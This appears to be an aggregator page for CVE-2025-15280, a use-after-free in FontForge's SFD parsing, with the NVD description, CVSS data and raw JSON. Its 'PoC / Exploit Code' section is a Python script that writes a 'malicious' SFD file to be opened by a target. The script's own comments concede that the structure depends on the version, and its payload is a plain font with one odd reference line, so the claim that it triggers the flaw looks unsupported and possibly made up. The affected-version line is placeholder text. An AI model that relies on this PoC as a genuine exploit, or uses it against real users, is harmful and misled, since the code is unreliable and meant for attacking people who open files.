Security Vulnerability Report
中文
CVE-2025-15280 CVSS 8.8 HIGH

CVE-2025-15280

Published: 2025-12-31 07:15:53
Last Modified: 2026-01-07 15:50:38

Description

FontForge SFD File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of SFD files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28525.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:* - VULNERABLE
FontForge < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-15280 FontForge SFD Use-After-Free PoC # This is a proof-of-concept for educational purposes only import struct def create_malicious_sfd(): """Generate a malicious SFD file to trigger Use-After-Free in FontForge""" # SFD file header sfd_header = "SplineFontDB: 3.0\n" # Font name font_name = "MaliciousFont\n" # Creation of malicious SFD content that triggers UAF # The exact structure depends on FontForge version malicious_content = [] # Begin FontInfo section malicious_content.append("FontName: MaliciousFont\n") malicious_content.append("FullName: Malicious Font\n") malicious_content.append("FamilyName: Test Family\n") malicious_content.append("Version: 1.0\n") malicious_content.append("ItalicAngle: 0\n") malicious_content.append("UnderlinePosition: -100\n") malicious_content.append("UnderlineThickness: 50\n") # Begin encoding section with malformed data malicious_content.append("Encoding: iso10646-1\n") malicious_content.append("BeginChars: 256 1\n") # Malicious glyph data that triggers the UAF condition malicious_content.append("StartChar: test\n") malicious_content.append("Encoding: 65 65 0\n") malicious_content.append("Width: 1000\n") malicious_content.append("VWidth: 0\n") malicious_content.append("Flags: WPP\n") # Crafted splines data that causes object to be freed malicious_content.append("LayerCount: 2\n") malicious_content.append("Layer: 0 0 \n") malicious_content.append("Layer: 1 1 \n") malicious_content.append("EndSplineSet\n") # Malformed reference that accesses freed object malicious_content.append("Refer: 256 0 0 0 0 0 0\n") malicious_content.append("EndChar\n") malicious_content.append("EndChars\n") malicious_content.append("EndFont\n") return sfd_header + font_name + "".join(malicious_content) def save_poc_file(filename="CVE-2025-15280.malicious.sfd"): """Save the PoC SFD file""" content = create_malicious_sfd() with open(filename, 'w', encoding='utf-8') as f: f.write(content) print(f"[+] Generated malicious SFD file: {filename}") print("[+] Target must open this file with vulnerable FontForge version") if __name__ == "__main__": save_poc_file() print("\n[!] Disclaimer: This PoC is for research and educational purposes only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15280", "sourceIdentifier": "[email protected]", "published": "2025-12-31T07:15:52.500", "lastModified": "2026-01-07T15:50:37.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FontForge SFD File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of FontForge. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of SFD files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-28525."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por uso después de liberación en el análisis de archivos SFD de FontForge. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de FontForge. Se requiere interacción del usuario para explotar esta vulnerabilidad, ya que el objetivo debe visitar una página maliciosa o abrir un archivo malicioso.\n\nLa falla específica existe dentro del análisis de archivos SFD. El problema resulta de la falta de validación de la existencia de un objeto antes de realizar operaciones en el objeto. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del usuario actual. Fue ZDI-CAN-28525."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fontforge:fontforge:2025-11-17:*:*:*:*:*:*:*", "matchCriteriaId": "F1A9337A-AD25-4C56-964A-CCD44CEF611F"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1188/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}